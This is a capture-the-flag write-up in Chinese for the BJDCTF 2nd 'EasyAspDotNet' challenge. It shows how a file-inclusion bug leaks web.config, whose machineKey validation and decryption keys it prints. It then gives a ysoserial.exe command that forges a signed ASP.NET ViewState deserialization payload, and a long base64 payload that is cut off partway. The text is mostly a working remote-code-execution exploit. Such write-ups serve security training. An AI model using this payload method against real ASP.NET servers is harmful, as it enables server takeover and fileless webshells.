[BJDCTF 2nd]EasyAspDotNet

参考:https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/

打开靶机发现

查看源码后发现有文件包含

指纹读取器发现是asp.net的

所以读一下web.config

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES" />
</system.web>
</configuration>

根据帖子,使用ysoserial.exe生成

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9"
/wEy7EoAAQAAAP////8BAAAAAAAAAAwCAAAATlN5c3RlbS5EYXRhLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQUBAAAAE1N5c3RlbS5EYXRhLkRhdGFTZXQKAAAAFkRhdGFTZXQuUmVtb3RpbmdGb3JtYXQTRGF0YVNldC5EYXRhU2V0TmFtZRFEYXRhU2V0Lk5hbWVzcGFjZQ5EYXRhU2V0LlByZWZpeBVEYXRhU2V0LkNhc2VTZW5zaXRpdmUSRGF0YVNldC5Mb2NhbGVMQ0lEGkRhdGFTZXQuRW5mb3JjZUNvbnN0cmFpbnRzGkRhdGFTZXQuRXh0ZW5kZWRQcm9wZXJ0aWVzFERhdGFTZXQuVGFibGVzLkNvdW50EERhdGFTZXQuVGFibGVzXzAEAQEBAAAAAgAHH1N5c3RlbS5EYXRhLlNlcmlhbGl6YXRpb25Gb3JtYXQCAAAAAQgBCAICAAAABf3///8fU3lzdGVtLkRhdGEuU2VyaWFsaXphdGlvbkZvcm1hdAEAAAAHdmFsdWVfXwAIAgAAAAEAAAAGBAAAAAAJBAAAAAkEAAAAAAkEAAAACgEAAAAJBQAAAA8FAAAAfCMAAAIAAQAAAP////8BAAAAAAAAAAQBAAAAf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLk9iamVjdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgUAAAgICQIAAAAHAAAABwAAABACAAAACAAAAAkDAAAACQQAAAAJBQAAAAkGAAAACQcAAAAJCAAAAAkJAAAACgwKAAAAYVN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbCwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAwAAAGpTeXN0ZW0uV29ya2Zsb3cuQ29tcG9uZW50TW9kZWwuU2VyaWFsaXphdGlvbi5BY3Rpdml0eVN1cnJvZ2F0ZVNlbGVjdG9yK09iamVjdFN1cnJvZ2F0ZStPYmplY3RTZXJpYWxpemVkUmVmAgAAAAR0eXBlC21lbWJlckRhdGFzAwUfU3lzdGVtLlVuaXR5U2VyaWFsaXphdGlvbkhvbGRlcgoAAAAJCwAAAAkMAAAAAQQAAAADAAAACQ0AAAAJDgAAAAEFAAAAAwAAAAkPAAAACRAAAAABBgAAAAMAAAAJEQAAAAkSAAAAAQcAAAADAAAACRMAAAAJFAAAAAEIAAAAAwAAAAkVAAAACRYAAAAECQAAABxTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlBwAAAApMb2FkRmFjdG9yB1ZlcnNpb24IQ29tcGFyZXIQSGFzaENvZGVQcm92aWRlcghIYXNoU2l6ZQRLZXlzBlZhbHVlcwAAAwMABQULCBxTeXN0ZW0uQ29sbGVjdGlvbnMuSUNvbXBhcmVyJFN5c3RlbS5Db2xsZWN0aW9ucy5JSGFzaENvZGVQcm92aWRlcgjsUTg/AgAAAAoKAwAAAAkXAAAACRgAAAAECwAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBhkAAAD4AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RMaXN0SXRlcmF0b3JgMltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAYaAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAMAAAABwAAAAkbAAAACgkcAAAACR0AAAAICAAAAAAKCAgBAAAAAQ0AAAALAAAABh4AAAD4AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrPFNlbGVjdE1hbnlJdGVyYXRvcj5kX18xN2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkaAAAAEA4AAAAJAAAACAj+////CggIAQAAAAoJAwAAAAoJIQAAAA0CAQ8AAAALAAAABiIAAADvAVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkaAAAAEBAAAAAHAAAACQQAAAAKCSUAAAAKCAgAAAAACggIAQAAAAERAAAACwAAAAYmAAAAKVN5c3RlbS5XZWIuVUkuV2ViQ29udHJvbHMuUGFnZWREYXRhU291cmNlBAAAAAYnAAAATVN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhEBIAAAAHAAAACQUAAAAICAAAAAAICAoAAAAIAQAIAQAIAQAICAAAAAABEwAAAAsAAAAGKQAAAClTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduLkRlc2lnbmVyVmVyYgQAAAAGKgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EBQAAAAFAAAADQIJKwAAAAgIAwAAAAkIAAAAARUAAAALAAAABi0AAAA0U3lzdGVtLlJ1bnRpbWUuUmVtb3RpbmcuQ2hhbm5lbHMuQWdncmVnYXRlRGljdGlvbmFyeQQAAAAGLgAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkQFgAAAAEAAAAJBgAAABAXAAAAAgAAAAkHAAAACQcAAAAQGAAAAAIAAAAGMQAAAAAJMQAAAAQbAAAAf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgMAAA9TeXN0ZW0uQnl0ZVtdW10ICAkyAAAAAQAAAAEAAAAEHAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCTMAAAAJNAAAAAQdAAAAigFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDErRW51bWVyYXRvcltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAABGxpc3QFaW5kZXgHdmVyc2lvbgdjdXJyZW50AwAAB39TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCAgCCgAAAAAAAAAACgEhAAAAHAAAAAk1AAAACTYAAAABJQAAABwAAAAJNwAAAAk4AAAAASsAAAADAAAACTkAAAAJOgAAAAcyAAAAAQEAAAAEAAAABwIJOwAAAAoKCgQzAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdh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